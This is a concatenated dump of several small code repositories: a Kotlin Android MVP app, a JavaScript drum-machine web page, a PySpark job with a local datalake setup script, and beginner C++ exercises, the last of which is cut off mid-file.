import com.izk.izkkotlin.ui.main.frg.SelectFragment
import com.izk.izkkotlin.ui.main.frg.StudyFragment
import com.izk.izkkotlin.ui.main.model.TitleModel
import com.izk.izkkotlin.ui.main.presenter.MainPresenter
import com.izk.izkkotlin.ui.main.view.MainView
import com.izk.izkkotlin.ui.utils.StatusBarUtils
import kotlinx.android.synthetic.main.activity_main.*
class MainActivity : BaseActivity<MainView, MainPresenter>(), MainView {
private val titleTabs = ArrayList<CustomTabEntity>()
private val fragments = ArrayList<Fragment>()
override fun getLayoutId(): Int = R.layout.activity_main
override fun init() {
StatusBarUtils.setStatusBar(this, COMMON_BAR, R.color.c_cd0014)//设置状态栏字体颜色为黑色,状态栏颜色为红色
//主页tab
val titles = resources.getStringArray(R.array.title)
val selectIds = resources.obtainTypedArray(R.array.select)
val unSelectIds = resources.obtainTypedArray(R.array.unselect)
for (i: Int in titles.indices) {
titleTabs.add(
TitleModel(
titles[i],
unSelectIds.getResourceId(i, 0),
selectIds.getResourceId(i, 0)
)
)
}
fragments.add(HomeFragment())
fragments.add(SelectFragment())
fragments.add(StudyFragment())
fragments.add(MineFragment())
vp_home.offscreenPageLimit = fragments.size
vp_home.adapter = TabAdapter(supportFragmentManager, fragments)
ctl_home.setTabData(titleTabs)
ctl_home.setOnTabSelectListener(object : OnTabSelectListener {
override fun onTabSelect(position: Int) {
vp_home.setCurrentItem(position, false)
}
override fun onTabReselect(position: Int) {}
})
}
override fun initData() {}
override fun createPresenter() = MainPresenter()
override fun <T> setData(data: T) {
Log.e("test", "========>$data")
}
override fun setError(err: String) {
Toast.makeText(this, err, Toast.LENGTH_SHORT).show()
}
}<file_sep>package com.izk.izkkotlin.ui.utils
import android.app.Activity
import android.graphics.Color
import android.os.Build
import android.view.View
import android.view.Window
import android.view.WindowManager
import androidx.core.content.ContextCompat
import com.izk.izkkotlin.base.Constants.HOME_BAR
/**
* Created by malong on 2020/11/25
* 功能 : 状态栏设置类
*/
object StatusBarUtils {
private var falg: Int = View.SYSTEM_UI_FLAG_LAYOUT_STABLE
fun setStatusBar(act: Activity, type: Int, colorId: Int) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {//系统版本大于等于5.0
if (type == HOME_BAR) {
act.window.decorView.systemUiVisibility =
View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR//状态栏字体颜色为白色
} else {
act.window.decorView.systemUiVisibility =
View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR//状态栏字体颜色为黑色
}
act.window.statusBarColor = ContextCompat.getColor(act, colorId)//状态栏颜色
}
}
fun setStatusBar2(act: Activity, type: Int, colorId: Int) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {//系统版本大于等于5.0
val window = act.window
window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS)
window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS)
window.statusBarColor = Color.TRANSPARENT
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
falg = View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
}
act.window.decorView.systemUiVisibility = falg
//设置暗色,文字为深色背景透明view,SYSTEM_UI_FLAG_LIGHT_STATUS_BAR
//设置亮色,文字为白色背景透明view,SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR
setUiVisbility(window,type)
setColor(window,ContextCompat.getColor(act,colorId))
}
}
private fun setUiVisbility(window: Window, type: Int) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP){
window.decorView.systemUiVisibility = type
}
}
private fun setColor(window: Window, color: Int) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP){
window.statusBarColor = color
}
}
}<file_sep>package com.izk.izkkotlin.ui.main.presenter
import com.izk.izkkotlin.mvp.presenter.BasePresenter
import com.izk.izkkotlin.ui.main.view.HomeView
/**
* Created by malong on 2020/11/24
* 功能 :
*/
class HomePresenter : BasePresenter<HomeView>() {
fun getHome(){
}
}<file_sep>package com.izk.izkkotlin.base
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import com.izk.izkkotlin.R
import com.izk.izkkotlin.base.Constants.COMMON_BAR
import com.izk.izkkotlin.base.Constants.HOME_BAR
import com.izk.izkkotlin.mvp.presenter.BasePresenter
import com.izk.izkkotlin.mvp.view.BaseView
import com.izk.izkkotlin.ui.utils.StatusBarUtils
/**
* Created by malong on 2020/11/24
* 功能 :
*/
abstract class BaseActivity<V, P: BasePresenter<V> > : AppCompatActivity(), BaseView {
private var mPresenter: P ?= null
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(getLayoutId())
StatusBarUtils.setStatusBar(this, HOME_BAR, R.color.colorPrimary)//设置状态栏字体颜色为白色,状态栏颜色为蓝色
if (mPresenter == null){
mPresenter = createPresenter()
}
mPresenter!!.bindView(this as V)
init()
initData()
}
protected abstract fun getLayoutId(): Int
protected abstract fun init()
protected abstract fun initData()
protected abstract fun createPresenter() : P
fun getPresenter() = mPresenter
override fun onDestroy() {
super.onDestroy()
mPresenter!!.unbindView()
}
} | 5035cfb8f09ed956b6ef65acf14e5683fc4f326d | [
"Kotlin",
"Gradle"
] | 29 | Kotlin | malongq/Kotlin-Mvp-Ok-Retrofit | aaa940d08fafe4b8b2f168b4e6579e0398e42772 | 8f04631c1a8ef7f34eadcc92a5c5edc1a77be1e4 |
refs/heads/master | <repo_name>asis45/beatking-application<file_sep>/README.md
# beatking-application
This appplication is useful in generating your own drumkit i.e, your own beat style by customising it as per your taste.
The application enables you to play multiple drumbeat sounds i.e, snare ,hihat and kick of various flavours.The application is built using OOPs concept of JS. No libraries used.
<file_sep>/script.js
// JavaScript source code
class DrumKit {
constructor() {
this.play_btn = document.querySelector(".play");
this.pads = document.querySelectorAll(".pads");
this.kickAudio = document.getElementById("kick-sound");
this.snareAudio = document.querySelector("#snare-sound");
this.hihatAudio = document.querySelector("#hihat-sound");
this.selects = document.querySelectorAll("select");
this.index = 1;
this.bpm = 500; //beats per minute
this.isPlaying = null;
}
active() {
this.classList.toggle("active");
}
changeSound(e) {
const selectionName = e.target.name;
const selectValue = e.target.value;
switch(selectionName){
case "kick-select":
this.kickAudio.src = selectValue;
break;
case "snare-select":
this.snareAudio.src = selectValue;
break;
case "hihat-select":
this.hihatAudio.src = selectValue;
break;
}
}
repeat() {
let step = (this.index-1) % 8;
// console.log(step);
// console.log(this.pads);
const curBars = document.querySelectorAll(`.a${step + 1}`);
//console.log(activeBars);
curBars.forEach((bar) => {
bar.style.animation = 'my-animation 0.2s alternate ease 2';
if (bar.classList.contains("active")) {
if (bar.classList.contains("kick-pad") && arr[0]===0) { //play if kick mute off
this.kickAudio.currentTime = 0;
this.kickAudio.play();
}
if (bar.classList.contains("snare-pad") && arr[1]===0) { //play if snare mute off
this.snareAudio.currentTime = 0;
this.snareAudio.play();
}
if (bar.classList.contains("hihat-pad") && arr[2]===0 ) { //play if hihat mute off
this.hihatAudio.currentTime = 0;
this.hihatAudio.play();
}
}
});
this.index++;
}
start() {
if (!this.isPlaying) {
let interval = (60 * 1000) / this.bpm; //time lag betwwen every beat
this.isPlaying=setInterval(() => { //using arrow function as using general fn will change context to window
this.repeat();
}, 1000); //function exec then takes interval of x sec then again fn exe.
}
else {
clearInterval(this.isPlaying);
this.isPlaying = null;
}
}
updateBtn() {
if (this.isPlaying) {
this.play_btn.innerHTML = "Play";
}
else {
this.play_btn.innerHTML = "Stop";
}
}
}
const drumkit = new DrumKit();
drumkit.play_btn.addEventListener("click", function () {
//drumkit.kickAudio.play();
console.log(this); //this is play button in normal func here checked //this is window in arrow fn
drumkit.updateBtn();
drumkit.start();
});
drumkit.pads.forEach((pad) => {
pad.addEventListener("click", drumkit.active); //adding event listener to all the pads to create sound when actiavted
pad.addEventListener("animationend", function () {
this.style.animation = "";
});
});
const mute = document.querySelectorAll(".mute");
console.log(mute);
let arr = [0, 0, 0]; //representing three mute buttons for kcik , snare and hihat in off mode initially
mute.forEach(function(btn){
btn.addEventListener("click", ( ) => {
let i;
switch (btn.id) {
case "m-kick":
i = 0;
break;
case "m-snare":
i = 1;
break;
case "m-hihat":
i = 2;
}
arr[i] = 1 - arr[i];
if (arr[i] === 1) { //mute on
btn.style.opacity = 0.5;
}
else {
btn.style.opacity = "";
}
});
});
drumkit.selects.forEach((select) => {
select.addEventListener("change", function (e) {
drumkit.changeSound(e);
});
}); | 66516aadd2e6c08b2a943fcd32e6c72d3659956c | [
"Markdown",
"JavaScript"
] | 2 | Markdown | asis45/beatking-application | a7e8df33f7929f0a03801166511534527add02dc | defcfd2b04845e459d6886d6d9f1d58a19c6bdb3 |
refs/heads/master | <repo_name>naoto67/study_rails_server<file_sep>/app/controllers/application_controller.rb
# frozen_string_literal: true
class ApplicationController < ActionController::API
private
def authenticate_user!
@user = User.find(params[:id])
# check if auth token is correct.
# rubocop:disable Style/GuardClause
unless @user.auth_token == request.headers[:Authorization]
render json: {
status: 401,
message: 'this resource must be authorized'
}
end
# rubocop:enable Style/GuardClause
end
end
<file_sep>/app/models/user.rb
# frozen_string_literal: true
class User < ApplicationRecord
# users colomn validates
validates :name, presence: true
validates :screen_name, presence: true, uniqueness: true
# password setting
has_secure_password
validates :password, presence: true, length: { minimum: 6 }, allow_nil: true
# auth_token setting
has_secure_token :auth_token
# login function
def login(password)
# if auth_token has not exist, authenticate by password
# if user is authorized, generate auth token and return true.
# unless user is authorized, return false
if authenticate(password)
regenerate_auth_token
true
else
false
end
end
end
<file_sep>/app/controllers/users_controller.rb
# frozen_string_literal: true
class UsersController < ApplicationController
before_action :authenticate_user!, only: %i[update destroy]
def index
users = User.pluck(:id, :name, :screen_name, :created_at)
render json: { status: 200, data: users }
end
def create
user = User.new(user_params)
if user.save
render json: { status: 201, data: { auth_token: user.attributes.except('password_digest') } }
else
render json: { status: 400, message: 'bad request.' }
end
end
def update
if @user.update(user_params)
render json: { status: 201, message: 'user was updated successfully.' }
else
render json: { status: 400, message: 'bad request.' }
end
end
def destroy
if @user.destroy
render json: { status: 204, message: 'user was deleted successfully.' }
else
render json: { status: 500 }
end
end
private
def user_params
params.require(:users).permit(:name, :screen_name, :password, :password_confirmation)
end
end
<file_sep>/app/controllers/sessions_controller.rb
# frozen_string_literal: true
class SessionsController < ApplicationController
# find user by screen name.
# it is authorize found user by password
# if password is incorrect, return 400.
# if password is correct, return 200 and user's auth token.
def create
user = User.find_by(screen_name: params[:screen_name])
render(json: { status: 400, message: 'not found' }) && return unless user
if user.login(params[:password])
render json: { status: 200, data: user.attributes.except('password_digest') }
else
render json: { status: 400, message: 'password is incorrect.' }
end
end
end
| 28de820058440a20d1eb7749e134a4cb864fbc49 | [
"Ruby"
] | 4 | Ruby | naoto67/study_rails_server | 7697523859b95ac6b2d8a8d1e332211a366c72f3 | 40637e2324f33c3cffbe1c832304657a449a429d |
refs/heads/master | <repo_name>KarineAkninTech/BackMarketTest<file_sep>/transformater/transform.py
import logging
from logging.handlers import RotatingFileHandler
import sys
import datetime
import os
import shutil
from pyspark.sql import SparkSession
from pyspark.sql.functions import *
logger = logging.getLogger('pyspark')
logger.setLevel(logging.INFO)
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
file_handler = RotatingFileHandler("transform.log", mode="a", maxBytes=1000000000, backupCount=0, encoding="utf-8")
file_handler.setLevel(logging.INFO)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def generate_paths(source, ingress_dir, parquet_dir, valid_dir, invalid_dir, archive_dir):
"""
Generate paths to interact with the datalake folder with a given source and the input file product_catalog.csv.
:param source: The source name, String
:param ingress_dir: The path to ingress folder, String
:param parquet_dir: The path to parquet folder, String
:param valid_dir: The path to valid folder, String
:param invalid_dir: The path to invalid folder, String
:param archive_dir: The path to archive folder, String
:return: csv_path, parquet_path, valid_path, invalid_path, archive_path, String
"""
csv_path = ingress_dir + "product_catalog.csv"
parquet_path = parquet_dir + source + "/product_catalog.parquet"
valid_path = valid_dir + source + "/product_catalog.csv"
invalid_path = invalid_dir + source + "/product_catalog.csv"
archive_path = archive_dir + source + "/product_catalog.csv"
logger.info("SUCCESS: create datalake paths :\n{}\n{}\n{}\n{}\n{}"
.format(csv_path, parquet_path, valid_path, invalid_path, archive_path))
return csv_path, parquet_path, valid_path, invalid_path, archive_path
def is_file_already_processed(archive_path):
"""
Check if the file given by the archive_path parameter already exists.
:param archive_path: Path to the archive file in the archive directory, String
:return: True if file already exists, False if not, Boolean
"""
return os.path.isfile(archive_path)
def init_spark():
"""
Init Spark Session with master set to local[*] and appName "transformater".
:return: the Spark Session object, SparkSession
:raise: An exception is raised if the Spark Session cannot be build, Exception
"""
try:
spark = SparkSession.builder.master("local[*]").appName("transformater").getOrCreate()
logger.info("SUCCESS: create Spark Session with appName 'transformater'")
return spark
except Exception as error:
logger.error("FAILURE: cannot create Spark Session: {}".format(str(error)))
raise Exception(error)
def csv_to_parquet(spark, csv_path, parquet_path):
"""
Read data from the csv_path to dataframe and write it to parquet on parquet_path using SparkSession.
Keep header info, overwrite the parquet file if already exists and use of coalesce(1) to write data on one file.
:param spark: The spark session object, SparkSession
:param csv_path: The path to csv file input, String
:param parquet_path: The path to parquet file output, String
:raise: An exception is raised if the reading or writing action cannot be performed, Exception
"""
try:
df = spark.read.format("csv").option("header", "true").load(csv_path)
logger.info("SUCCESS: read {} rows in csv file {}".format(str(df.count()), csv_path))
df.coalesce(1).write.mode("overwrite").parquet(parquet_path)
logger.info("SUCCESS: write {} rows on parquet file {}".format(str(df.count()), parquet_path))
except Exception as error:
logger.error("FAILURE: Cannot transform csv {} to parquet file {} : {}"
.format(csv_path, parquet_path, str(error)))
raise Exception(error)
def create_dataframe(spark, parquet_path):
"""
Read parquet file using SparkSession and create dataframe by inferring schema and cache it to memory level.
:param spark: The Spark Session, SparkSession
:param parquet_path: The path to parquet file, String
:return: The dataframe containing parquet file data, Dataframe
:raise: An exception is raised if the reading operation failed, Exception
"""
try:
df = spark.read.format("parquet").load(parquet_path).cache()
logger.info("SUCCESS: read {} rows in parquet file {}".format(str(df.count()), parquet_path))
return df
except Exception as error:
logger.error("FAILURE: Unable to read data from parquet file {}: {}".format(parquet_path, str(error)))
raise Exception(error)
def filter_valid_records(df):
"""
Filter a given dataframe on column 'image' not null generating a valid dataframe.
:param df: The dataframe to filter, Dataframe
:return: A dataframe with valid records, Dataframe
:raise: An exception is raised if the filter transformation failed, Exception
"""
try:
valid_df = df.filter(col("image").isNotNull())
logger.info("SUCCESS: Filter found {} valid rows".format(str(valid_df.count())))
return valid_df
except Exception as error:
logger.error("FAILURE: Unable to filter Dataframe on Not Null values for column image: {}".format(str(error)))
raise Exception(error)
def filter_invalid_records(df):
"""
Filter a given dataframe on column 'image' null generating a invalid dataframe.
:param df: The dataframe to filter, Dataframe
:return: A dataframe with invalid records, Dataframe
:raise: An exception is raised if the filter transformation failed, Exception
"""
try:
invalid_df = df.filter(col("image").isNull())
logger.info("SUCCESS: Filter found {} invalid rows".format(str(invalid_df.count())))
return invalid_df
except Exception as error:
logger.error("FAILURE: Unable to filter Dataframe on Null values for column image: {}".format(str(error)))
raise Exception(error)
def write_dataframe_to_csv(df, dest_path):
"""
Write a dataframe to csv on destination path .
Overwrite the csv file if already exists, keeping header and use of coalesce(1) to write date on an unique csv file.
:param df: The dataframe to be writen, Dataframe
:param dest_path: The destination path for csv file
:raise: An exception is raised if the write action failed, Exception
"""
try:
df.coalesce(1).write.mode("overwrite").option("header", "true").csv(dest_path)
logger.info("SUCCESS: write {} rows on csv file {}".format(str(df.count()), dest_path))
except Exception as error:
logger.error("FAILURE: Unable to write Dataframe to csv file {}: {}".format(dest_path, str(error)))
raise Exception(error)
def archive_input_csv(archive_dir, source, csv_path, archive_path):
"""
Archive a given file from csv_path to archive_path.
This function will create a source folder on the archive directory if not exists and then moves the file
from csv_path to the archive path inside source directory.
Must prevents for recomputing a file twice.
:param archive_dir: The archive directory path, String
:param source: The source name for archive directory, String
:param csv_path: The csv path on ingress folder, String
:param archive_path: The archive path to move the csv file
:raise: An exception is raised if the archive action failed, Exception
"""
try:
if not os.path.exists(archive_dir + source):
os.mkdir(archive_dir + source)
shutil.move(csv_path, archive_path)
logger.info("SUCCESS: archive csv file {} to {}".format(csv_path, archive_path))
except Exception as error:
logger.error("FAILURE: Unable to move csv file to archive folder: {}".format(str(error)))
raise Exception(error)
def main(source, ingress_dir, parquet_dir, valid_dir, invalid_dir, archive_dir):
csv_path, parquet_path, valid_path, invalid_path, archive_path = \
generate_paths(source, ingress_dir, parquet_dir, valid_dir, invalid_dir, archive_dir)
if not is_file_already_processed(archive_path):
spark = init_spark()
csv_to_parquet(spark, csv_path, parquet_path)
df = create_dataframe(spark, parquet_path)
valid_df = filter_valid_records(df)
invalid_df = filter_invalid_records(df)
write_dataframe_to_csv(valid_df, valid_path)
write_dataframe_to_csv(invalid_df, invalid_path)
archive_input_csv(archive_dir, source, csv_path, archive_path)
spark.stop()
else:
logger.info("ABORTING: File already proccess, found in {}, ending spark job".format(archive_path))
if __name__ == '__main__':
if len(sys.argv) != 7:
logger.error(
"USAGE: transform.py <source> <ingress_dir> <parquet_dir> <valid_dir> <invalid_dir> <archive_dir>".format())
exit(-1)
logger.info("==================================================")
logger.info("==== STARTING TRANSFORM: {} =====".format(datetime.datetime.now().strftime('%d/%m/%Y %H:%M:%S')))
logger.info("==================================================")
try:
main(
source=sys.argv[1],
ingress_dir=sys.argv[2],
parquet_dir=sys.argv[3],
valid_dir=sys.argv[4],
invalid_dir=sys.argv[5],
archive_dir=sys.argv[6]
)
except Exception as error:
logger.fatal(str(error))
finally:
logger.info("==================================================")
logger.info("================ END OF TRANSFORM ================")
logger.info("==================================================")
<file_sep>/submit.sh
#!/usr/bin/env bash
absolute_path=$(pwd)
pyspark_script="transformater/transform.py"
source="product_catalog"
ingress="datalake/ingress/"
parquet="datalake/raw/copyRawFiles/"
valid="datalake/raw/valid/"
invalid="datalake/raw/invalid/"
archive="datalake/archive/"
pyspark_job="${absolute_path}/${pyspark_script}"
ingress_dir="${absolute_path}/${ingress}"
parquet_dir="${absolute_path}/${parquet}"
valid_dir="${absolute_path}/${valid}"
invalid_dir="${absolute_path}/${invalid}"
archive_dir="${absolute_path}/${archive}"
spark-submit --master local $pyspark_job $source $ingress_dir $parquet_dir $valid_dir $invalid_dir $archive_dir<file_sep>/scripts/generate_datalake.py
import os
import shutil
import wget
# list of the datalake folder paths to create
paths = ["./datalake", "./datalake/archive", "./datalake/ingress", "./datalake/raw", "./datalake/raw/copyRawFiles", "./datalake/raw/valid", "./datalake/raw/invalid"]
# delete older datalake folder
try:
shutil.rmtree("./datalake", ignore_errors=True)
print("INFO : Successfully remove datalake folder")
except Exception as error:
print("ERROR : Cannot delete datalake folder: {}".format(str(error)))
exit(-1)
# create datalake folder architecture
try:
for path in paths:
os.mkdir(path)
print("INFO : Successfully create datalake folder architecture")
except Exception as error:
print("ERROR : Unable to create datalake folder architecture: {}".format(str(error)))
exit(1)
# download product_catalog.csv file to ingress folder
try:
url = "https://backmarket-data-jobs.s3-eu-west-1.amazonaws.com/data/product_catalog.csv"
path = os.path.abspath("datalake/ingress/product_catalog.csv")
wget.download(url, path)
print("\nINFO : Successfully download product_catalog.csv to {}".format(path))
except Exception as error:
print("ERROR: Unable to upload csv file on ingress folder: {}".format(str(error)))
exit(-1)
<file_sep>/README.md
# BackMarket Technical Assignement
The goal of this assignement is to create a data pipeline to filter valid and invalid records for the csv file :
https://backmarket-data-jobs.s3-eu-west-1.amazonaws.com/data/product_catalog.csv
This must be done by implementing a job in Python that will do the following steps :
1. Download and read the file: product_catalog.csv locally
2. Transform the file from CSV to Parquet format locally
3. Separate the valid rows from the invalid ones into two separate files: the business wants only the product with an image but wants to archive the invalids rows
To meet these requirements, I choose to use the Spark framework using pyspark and I also decided to emulate a Datalake locally (by running ./scripts/generate_datalake.py)
## Requirements
name | version
------------- | -------------
Spark | >= 2.4
Python | >= 3.4
Java jdk | 8
os | linux
For other requirements for python code, simply run :
`$ pip3 install -r requirements.txt`
This command will install wget and pyspark packages for python3.
## Repository Architecture
This repository provided all you need to run the pyspark job locally.
### Datalake script
The datalake folder will be generated by the script :
`$ python3 ./scripts/generate_datalake.py`
This script will generate folder that represent a datalake architecture locally and upload the input file directly in the ingress folder.

The datalake folder it's divided in 3 differents zones :
- ingress : contain the input file product_catalog.csv
- raw :
- copyRawFiles : folder that will contain the input file in parquet format product_catalog.parquet
- valid : folder that will contain data from the input file that are concidered as valid (column image not null) in csv format
- invalid : folder that will contain data from the input file that are concidered as invalid (column image null) in csv format
- archive : folder that will contain the input file csv (will be moved from ingress folder at the end of the data pipeline)
The script generate_datalake.py can be used several times to rebuild all the datalake architecture.
### Pyspark Job
The pyspark job can be found in the folder : transformater/transform.py
It can be run by using the submit.sh script on the root directory. The script will automatically generate valid absolute paths to interact
with the datalake folder, those would be given as arguments to the spark-submit command.
#### Data Pipeline
This simple job will implement all the data pipeline in several steps :

- step 1 : create the SparkSession Object to use Spark Dataframe API
- step 2 : read the csv file stored in datalake/ingress, will generate a Spark Dataframe containing data from csv with infering schema from header
- step 3 : write the Dataframe to parquet file in datalake/raw/copyRawFiles/product_catalog/, with coalesce(1) to generate a unique parquet file (just one PART)
- step 4 : read the parquet file and cache the generate Dataframe in memory level, infering the schema : for next transformation, because of laziness, it is recommanded to cache the Dataframe to not recompute it twice
- step 5 : two filters will be performed on the cached Dataframe. One for valid data on col('image') != Null and another for invalid data on col('image') == Null. Will generate two Dataframes
- step 6 : write the two Dataframes as csv on the folder datalake/raw/valid/product_catalog/ and datalake/raw/invalid/product_catalog/, keeping the header and use of coalesce(1) to generate a unique csv per write action
- step 7 : move the csv file from datalake/ingress/ to datalake/archive/product_catalog/, to prevent for recomputing twice the same file
#### Errors handling
To prevent for duplicating data, a specific strategy has been done :
- case 1 : the script ends properly :
- the file will be moved from ingress to archive at the end of the spark job, meaning all previous actions have been done
- a simple check of the file existing on the archive folder may prevents from recompute it twice
- case 2 : the script did not end properly :
- the file remains in the ingress folder
- all the write action will overwrite the actual contents, meaning even if one write has been performed and not the others, every output files from every steps would be overwriten (no duplicate data)
## Running the pyspark job
Be sure to meet all the requirements in the requirements section above
### Step 1
install all requirements for python3 :
`$ pip3 install -r requirements.txt`
### Step 2
launch your spark cluster in standalone mode :
`$ ./sbin/start-master.sh`
### Step 3
Generate the datalake infrastructure :
`$ python3 ./scripts/generate_datalake.py`
### Step 4
Submit pyspark job to Spark master locally :
`$ chmod +x submit.sh`
`$ ./submit.sh`
### Step 5
During the pyspark job executing, a log file will be created in the root folder :
`$ cat transform.log`
`$ tail -500f transform.log` to read it during execution
## Code Improvement
### Running on a real Spark Cluster
Spark has been designed to be used on a cluster of servers. For bigger files, I would preconised to get all the power of Spark on a AWS Cluster :
- you can setup an AWS EMR cluster with at least 1 master and 2 slaves nodes : this will speedup the computation by breaking down the cached dataframe on several nodes those would compute the filter transformations in parallel on smaller chunk of the dataframe
- storing data locally is not a good idea : better to use an AWS S3 Bucket with the same architecture than the datalake folder. The transform.py script must be readapted to interact with an S3 Bucket : the given paths to the spark-submit can be changed without rewritting the code but all the functions that work with linux system (like os.mkdir()) must be readapted for a S3 Bucket environment. Be sure that the IAM roles and policies of the EMR Cluster are compliant to work with your S3 Bucket.
- All coalesce(1) must be getting out of the code because they will break down performance on big dataset : to have a unique parquet or csv file, will forced spark to have a unique partition on a single node. A better solution would be to have each slave nodes writing their own parts.
- To run the script on a batch of data, you can use pattern to get all the files product_catalog_timestamp.csv and then make a loop to compute the job for all the files that match the given pattern.
- For error handling I would suggest to use an orchestrator like Airflow or Oozie. Also, log files must be written out of the Spark cluster, in a specific zone of the S3 Bucket for example.
### PartitionBy Approach
The actual approach of filtering twice the same cached dataframe to generate valid and invalid data envolves computing twice the same dataframe. Another approach can be done :
- generating an extra column to the dataframe : withcolumn('flag') and when(col('image') != Null, 'valid').otherwise('invalid'). This extra column 'flag' will contain 'valid' or 'invalid' depending of col('image') values.
- then write the dataframe to csv using partitionBy('flag') method, will automatically generate two partitions : one for valid and another for invalid data
- you must combine partitionBy() with repartition() to be sure that multiple Parts would be generated per partitions : it is not a good idea to have only one Part per partition on big dataset.
- This technic avoids to read the dataframe twice (by filtering twice) but the repartition() method may cause a lot of shuffle. Sometimes memory actions are much more speed that actions involving network. The two solutions must be benchmarked to take a good decision for production level
- Also, partitioning on disk is generaly used to speedup futur queries : here, one of the partition may be never used, that's why I choose the filtering twice approach.<file_sep>/requirements.txt
pyspark>=2.4.0
wget==3.2 | bd845af280f37baa6688990fb1037950b48db324 | [
"Markdown",
"Python",
"Text",
"Shell"
] | 5 | Python | KarineAkninTech/BackMarketTest | 233f7072fade27e906ab767e7fbee4adbf2af74d | a78b7674461a552a13fee955f36619d9a8ffc0c0 |
refs/heads/master | <repo_name>zerxfox/tasks-for-course<file_sep>/task3.cpp
/*Создать программу, которая будет:
- подсчитывать количество слов в предложении
- выводить их в отсортированном виде
Комментарий: не даны условия сортировки.
- делать первую букву каждого слова заглавной.
Предложение вводится вручную. (Разделитель пробел (“ ”)).*/
#include <iostream>
#include <windows.h>
#include <cctype>
using namespace std;
int main(int argc, char** argv)
{
SetConsoleOutputCP( CP_UTF8 );
int count = 1, i, j, g=0;
char input[256];
char iinput[256];
char tmp;
char k;
cout << " Введите предложение(ENG): " << endl;
cin.getline(input, 256);
for ( i = 0; i<strlen (input); i++ ) {
iinput[i] = input[i];
if ( input[i] == ' ' ) count++;
}
cout << " В предложении " << count << " слов." << endl;
for ( i = 0; i < strlen (input); i++ )
{
input [i] = toupper(input[i]);
while ( input[i]!=' ' && i < strlen (input) ) i++;
}
cout << " Заглавия первых букв каждого слова: "<< input << endl;
return 0;
}
<file_sep>/task6.cpp
/*Имеется набор вещей, которые необходимо поместить в рюкзак. Рюкзак обладает заданной грузоподъемностью. Вещи в свою очередь обладают двумя параметрами — весом и стоимостью. Цель задачи заполнить рюкзак не превысив его грузоподъемность и максимизировать суммарную ценность груза.*/
#include <iostream>
#include <windows.h>
using namespace std;
int main(int argc, char** argv)
{
SetConsoleOutputCP( CP_UTF8 );
int carrying; // грузоподъемность рюкзака
int i, j, k, temp;
const int s = 5; // количество вещей
int weight [s] = {5, 10, 6, 5, 7 }; // вес вещи [5]
int cost [s] = {3, 5, 4, 2, 6}; // ценность вещи [5]
int pay = 0; // суммарная стоимость вещей
int coef [4][s]; // коэффициент
int sweight = 0; // суммарный вес вещей
cout << " Введите грузоподъемность рюкзака: ";
cin >> carrying;
for ( i = 0; i<s; i++ ) //подсчет коэффициентов
{
coef[0][i] = (cost[i] / weight[i]);
coef[1][i] = weight[i];
coef[2][i] = cost[i];
coef[3][i] = i + 1;
}
for ( i = 0; i<s; i++ ) //сортировка
{
for ( j = 0; j<s; j++ )
{
if ( coef[0][i] > coef[0][j] )
{
for ( k = 0; k < 4; k++ )
{
temp = coef[k][i];
coef[k][i] = coef[k][j];
coef[k][j] = temp;
}
}
}
}
cout << " Вещи, которые вместились: ";
for ( i = 0; i<s; i++ )
{
sweight += coef[1][i];
if ( sweight <= carrying )
{
cout << coef[3][i] << " ";
pay += coef[2][i];
}
else sweight -= coef[1][i];
}
cout << endl << " Общий вес: " << sweight << endl << " Суммарная ценность вещей: " << pay << endl;
return 0;
}
<file_sep>/task4.cpp
/*Создать программу, которая подсчитывает сколько раз употребляется слово в тексте (без учета регистра).
Текст и слово вводится вручную.*/
#include <iostream>
#include <windows.h>
using namespace std;
int main(int argc, char** argv)
{
SetConsoleOutputCP( CP_UTF8 );
int count = 0, i;
string text, j, word;
cout << " Введите текст (ENG): " << endl;
getline(cin, text);
while ( cout << " Введите слово: " && getline(cin, word) && !word.empty() ) {
text += ' ';
for ( i = 0; i < text.length(); i++ )
{
j += text[i];
if ( !(isalpha(text[i])) )
{
j.pop_back();
if ( j != "" )
if ( j == word ) count++;
j = "";
}
}
cout << " Слово " << word << " употребляется " << count << " раз" << endl;
count = 0;
}
return 0;
}
<file_sep>/task5.cpp
/*Создать программу, которая в последовательности от 0 до N, находит все числа-палиндромы (зеркальное значение равно оригинальному). Длина последовательности N вводится вручную и не должна превышать 100*/
#include <iostream>
#include <windows.h>
using namespace std;
int main(int argc, char** argv)
{
SetConsoleOutputCP( CP_UTF8 );
int number, i, j;
const int N = 100;
cout << " Числа-палиндромы: " << endl;
for( i = 1; i <= N; i++ )
{
j = i; number = 0;
while(j)
number = number * 10 + (j%10),
j /= 10;
if( number == i ) cout << i << endl;
}
return 0;
}
<file_sep>/task2.cpp
/*Создать программу, которая будет вычислять и выводить на экран НОК (наименьшее общее кратное) и НОД (наибольший общий делитель) двух целых чисел, введенных пользователем.
Если пользователь некорректно введёт хотя бы одно из чисел, то сообщать об ошибке.*/
#include <iostream>
#include <windows.h>
using namespace std;
int main(int argc, char** argv)
{
SetConsoleOutputCP( CP_UTF8 );
double a, b;
int i;
cout << " Введите два целых числа: ";
cin >> a >> b;
bool flag = false;
if( a == int(a) && b == int(b) ) flag=true;
if( flag == true )
{
for ( i = a; i > 0; i-- ) {
if ( int(a) % i == 0 && int(b) % i == 0 ) {
cout << endl << " НОД = " << i << endl;
break;
}
}
cout << " НОК = " << int(a) / i * int(b) << endl;
} else { cout << endl << " Вы некорректно ввели числа, повторите снова. " << endl; }
return 0;
}
<file_sep>/task1.cpp
/*Создать программу, которая будет сообщать, является ли целое число, введенное пользователем, чётным или нечётным, простым или составным. Если пользователь введёт не целое число, то сообщать ему об ошибке.*/
#include <iostream>
#include <windows.h>
using namespace std;
int main(int argc, char** argv)
{
